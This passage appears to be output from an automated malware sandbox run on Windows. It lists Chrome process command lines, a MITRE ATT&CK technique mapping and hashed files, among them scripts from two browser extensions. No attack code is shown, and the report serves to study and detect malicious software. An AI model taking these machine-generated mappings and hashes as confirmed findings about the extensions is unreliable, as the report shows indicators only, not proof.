    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5556,i,13189612819732532023,2103073172673968700,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5732 /prefetch:1
        5⤵
        
        PID:3452
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5856,i,16149633020958981166,5564399385945264048,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:1
        5⤵
        
        PID:4496
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6076,i,10744099892443166100,15070355840094934551,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:9
        5⤵
        
        PID:6056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5768,i,2443669380019500187,2240399467068092322,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5660 /prefetch:1
        5⤵
        
        PID:992
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6508,i,11755037068691400090,18129998487362507355,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:1
        5⤵
        
        PID:4476
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6512,i,15066693071267805528,17567092929748369419,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:1
        5⤵
        
        PID:5528
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6540,i,16898026365688646258,15697552829560838865,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=6532 /prefetch:14
        5⤵
        
        PID:5836
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6388,i,13251740337081111715,4671208306560932395,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:1
        5⤵
        
        PID:5412
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5480,i,4921594814806167142,15802264423277426648,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
        5⤵
        
        PID:2196
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6548,i,11796129330718499452,3632144205232039331,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:14
        5⤵
        
        PID:1160
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5544,i,12469274394696813890,13629319345367910276,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
        5⤵
        
        PID:3404
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=7036,i,3393679529785826775,760224996564684788,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=6604 /prefetch:1
        5⤵
        
        PID:1156
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=7252,i,2540930442686513979,3714251957423256893,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=6848 /prefetch:14
        5⤵
        
        PID:4628
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=7264,i,2515703939126482491,8355017897735523183,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=6368 /prefetch:14
        5⤵
        
        PID:3744
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --metrics-shmem-handle=7088,i,8330506853460928845,7040661658787020627,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:1
        5⤵
        
        PID:5812
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=7032,i,12881796978450332807,2610163345682786805,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:1
        5⤵
        
        PID:1740
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6072,i,14862331088377600403,15321299153988852564,524288 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:14
        5⤵
        
        PID:6128
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --metrics-shmem-handle=3308,i,15333753098864207741,7635890948787997532,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:9
        5⤵
        
        PID:1980
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --metrics-shmem-handle=3264,i,1408845981626882530,10684394019873482045,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
        5⤵
        
        PID:692
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --metrics-shmem-handle=5972,i,4786312473395672980,6117899273469755159,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=7036 /prefetch:1
        5⤵
        
        PID:4220
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --metrics-shmem-handle=6504,i,14874071886438814729,623983829923810379,2097152 --field-trial-handle=1920,i,715462556492707279,1039634166852349947,262144 --variations-seed-version --mojo-platform-channel-handle=3276 /prefetch:1
        5⤵
        
        PID:1188

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:6084

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
Size 40B
SHA256 715178ea159b0d26f2f75485d38ccfa3d98a1e27b6ccba24e56d4800f753b8a9
MD5 fb19e509dc029ddfeafdd915ccc76976
SHA1 3c59a5e4a78fbb2d9e2569a4c61a2be4ef6c640d
SHA512 d348207beae17cf8cefd8021bc29a8967b132387a75263c5aee861ff9eb94276d32114e29dbbd96666f2d12e740dfeac040ebeb2960894993bdc5774da8901ab
MD5 SHA1 SHA512

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 96B
SHA256 74c3ed550e7365344e9d7ffed6bde3ca49ea5e4a3bed62cf239f880bcc71ca0d
MD5 6d88839230d915e83ae12a0bc558fb44
SHA1 4e42eb3860b6f994455141708c59499d8aa59474
SHA512 0cd9f609b2eb40318c7d80a298c8898e6222e8f1132f887c1622c9a2b785b62e6560b065bd53c0fa4ebc11280542dcbc0db857646ca392223fb6055a46acdb2b
TLSH
T1C9B0112003C00A22EA000AB8200B8E0223020ECC0223B20382B000A8E0032AA800028A
MD5 SHA1 SHA512 TLSH

Submit Download

background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gghagmhimhgfeajfdmjkgmmehbokmglg\2.0_0\background.js
Size 107KB
SHA256 de24c91a3b8d1dd0449385227ba1c07586ec39d8026a2699371aa7822b041427
MD5 1288db9a1af9fbc82676a8d0bb3fa141
SHA1 4b9e62f78a16f28e84ef257a35d88a0ef6a6660d
SHA512 afe8053fd0e52b5696a66edb4072caa2f54af022722628781fe6899dd952f50bcabb1d62c2af2b1982a33e182a9b070c9f73da59968563a9132bfbf4c62b3eff
SSDEEP 1536:BFAwCs48H4KBXmy7meULYQOfQARC8NizQ37WF/U5Ev15cQ:B2BzKBXmy7meULYQOYQ37WF/WEvrcQ
TLSH
T13FB34E416BC464801E478FBB7616B6E1FA1F09FD75440E4AA1047D18FAB9922FEF0A73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gghagmhimhgfeajfdmjkgmmehbokmglg\2.0_0\content.js
Size 8KB
SHA256 d7e63f7a6350a5d4bad4a44d8ce4e8a948871cf914e72905192bb3ad062eb7f2
MD5 27c44d2b4b864d4ffc18ea735ec53747
SHA1 b77ae86e5b963de0840bc17e78b50ebc0da410a0
SHA512 6602dc78f90a5e3584d7fa0b731df87e6cebb44d886c372afdfcef269285c1a3b144acde0a6107d1e6d98971c17f4c78a8b6114b9ea6f34a81f1f6dfc2d50bdf
SSDEEP 192:0/4ZSFYcEr7kTMp+DF9LBLahqXFXd+CGT+ETJ1C1tSw+CmrKRgT:0AgOMb9LxD9MCGTTTJ1C1tB+7
TLSH
T1D802C79A77C0A892265BD3B73F13B4F5E1282FDA3686089BF704BE44F959524DAC1D30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gghagmhimhgfeajfdmjkgmmehbokmglg\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 e6ae89e6290a84627c442cab4f8ccb342b9c6d23a0aa9be9d7f475ce09c60dc0
MD5 94fbdd2c047a1f9ac9aea4e8813c0793
SHA1 15e366a6b27c801d057507301d9b90e2f791e55f
SHA512 7220c4d9c3743b581736054637c2495bfb3e0b46c5e95931e8df2c2839663e1d93af6df197c6d756afcc7b42545f067d04a3d4b78d95a9adae7582e3dc981437
TLSH
T190517DF7D7D4C66D881156E4AB21AE1FCD2D0A24532C3C6A88D8AF4F53E2572D31135E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 523B
SHA256 f67731cca053de9c09e0a16ebd5c85862f0f9b064ee812e5617d4001eef01215
MD5 da834012b3745d58ff8004878dc8c1d2
SHA1 e9ba4508d8fbb4e35f79627b1c138c66b9d58762
SHA512 20a798d6e533b5fc4b9ed4c363b356f66fee3511c8af70cc46f0bca7d3b3f8c0db894ca0592c4d8350a72f24143b55c292577edb98f39d9323d6165720eb18cc
TLSH
T18DF050EBD77D7453507955A61D047C49A5BA6431064178F4DF96C35CB0544F31F06453
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 c8fde71cdcdf5c985a91d257320574e8d825c64efcd57a0a2ff83241de312cc4
MD5 0dbe394b917c5836c140554104394762
SHA1 9a2ccc78f428ff7a5452945a9681df5d776d999e
SHA512 dcda2b8b595a62f4502f7a8371ad56a921f898d14a638fa38e0d0a37f346b63823ffb2d821a19ec6543917a7990358dbfbad85813c94fc08018ba52c84462b82
SSDEEP 192:5RcM6Lxv7jInAPRp2Lj9PHsb+WNm5mLmuL21Ben2VyIsnAUge:5RcMChgiXWBwHP2iOe
TLSH
T14132D62FAA24657B5CCBC21AFD657B57E2F9102172D02E84FAFC8A2C10D7ACD2217407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 60fdd1439773e1a6cc878507768f76ce305999ce0d846acf7514d5a77a003752
MD5 22835ce9435d841a1cf37c4f9e0eae71
SHA1 f118a52408ec17a1056708e5b4b7d9b2627c093b
SHA512 77ab2dde5bf98c078b613afca4a866c47456fb8874dd1236762349849903290860e6b4db2f5cdfdde621499b1bf9bc684bb3cd66300e1f6938b5de6ebd353044
SSDEEP 192:5RcM6LEv7jInAPRp2Lj59PHsb+WNm5mLmuL2WBencPyIsnAUge:5RcMCggiXABwHP2zOe
TLSH
T10542D51FAA24657B5CCBD21AFD657B57E2F9102172D02E84FAFD8A2C10D7ACD2217407
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 16KB
SHA256 069c5d699f1ff1c8d173b870ff30c68a62787bcdcd02861497845102a8c01690
MD5 4c5c76241516dabf9de80226c12a7ccc
SHA1 0cbab7130d241e077dd6d778910eb84607c6442f
SHA512 d5beadf85c90b73c1ecba310841e98233b65259aebe556e972602e6775643ce883e79f10af6ead6f3c48cd901a98c9aeb5c9e0e67f5c8b8f16c6c76182487578
SSDEEP 384:xzjj+7KxkXqKf/pUZNCgVLH2HfgslaIDIGsj2MAVuUXODj6+ErU3SZHGUV1KfkYF:x/j+7KxkXqKf/pUZNCgVLH2HfgsIEHs5
TLSH
T17772FA67684C9A3F0FC4D689DC677F4F6CF50156B6A8486892FF98080395BCB114B2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 c2a8994e47a44ffa017cb563ac2276ff9a02e44782d1ac3f8a93788e58ac56fd
MD5 95316eb9126cfbcc827b2375c145ba3e
SHA1 7ae5b075009582ec391f0adf1a907836342cc51f
SHA512 0d81e0b6991afbe302f0ecbe6e79c5ede83cfa2fc1001e4df2b893abcb050e0c1fe4ddd21e90163b41994bda22e3088d92537c46742bca5c2b54b27cfa4f01cf
TLSH
T178B01203C04B1600CC4046B02509106C22205F29D4004707C3E45985AC470F08255105
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
Size 72B
SHA256 a977701ee5dfe97cd6db76ba8f1f862af5f429fce37656fc3435ffdba93a7dfd
MD5 b0b8ea1d05b6e4a8f05721e7582ef133
SHA1 3444241ded07f0957780a2e911fe8e997316916b
SHA512 ba3936865ed290c5c56319e8b201a8d144c9c3efd1760d9795a8bfb4603dc86b68983f45054495562b4961870dd9fac3aeec64b0737409c497da292960e8030a
TLSH
T1F5A00210A3D01814DD6466F064254649A3C24C2D2990870744B20594C89B0CA9202350
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe595b65.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe595b65.TMP
Size 48B
SHA256 4297500109331e2cb5ad8f68b2f5fefcb6ad1bde85fe560b92edec802ff50287
MD5 45bfa06ca5a793054791b8ae4d6eb5e1
SHA1 f60fc76e3afb5f14aaa064ba21cf2611e1f42b1b
SHA512 c803f156591e999b93e16a6ad8349edb996a5d1aef0b5f2b7b604124d7c4ffd2b4bd24ae328b6d7fc172174198f57c0322685be47c72600d5ab44de8357860b8
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e
SSDEEP 3:MsGl3ll:/y
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache\data_1
Size 264KB
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58
SSDEEP 3:MsEllllkEthXllkl2zE:/M/xT02z
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 123KB
SHA256 29e68b98921c21c77f46008eab854545005be0af9bfabc3de84ce48d2f0e7835
MD5 c10ff5c2cb881072986af382442185fd
SHA1 cfe6901df581364bbf799c039e2fd30e3c132c84
SHA512 9bc53631ba97eb022807021bae238000fe202986c5c381fb58e617043c653f8a9185cdbaf96c394355efb607046e801bdaa139beee2832d40c7c8226516e5978
SSDEEP 3072:MaVlIgAl8uOJ5emRrSbggIFY0OZtdqq9un6NRe:M4GLlhO7emRrSbryFOZtdXO
TLSH
T1FFC312B37C702B7B656396319C735B076C598CDA065B7B6E83DC0F3641DE6C60A2202E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 123KB
SHA256 cceaedc64eb5455f4384bbbe12b9e05834e66cbe0999357c0d9f23a99b237cac
MD5 a715fa8204f583f7159888fa05d0610e
SHA1 09592832ae99fd982d09bd829c158c43371a7d35
SHA512 6a017f9b8121779acfcd7b46ba01fabbd03f458e7f33c633841fa423b6f4367856436b0213842cb68733166ee6c614f999e656e80eca4dd66e376ca50a1f6ad9
SSDEEP 3072:J3VlIgAl8uOJ5emRrSbggIFY0OZtdqq9un6NRe:JFGLlhO7emRrSbryFOZtdXO
TLSH
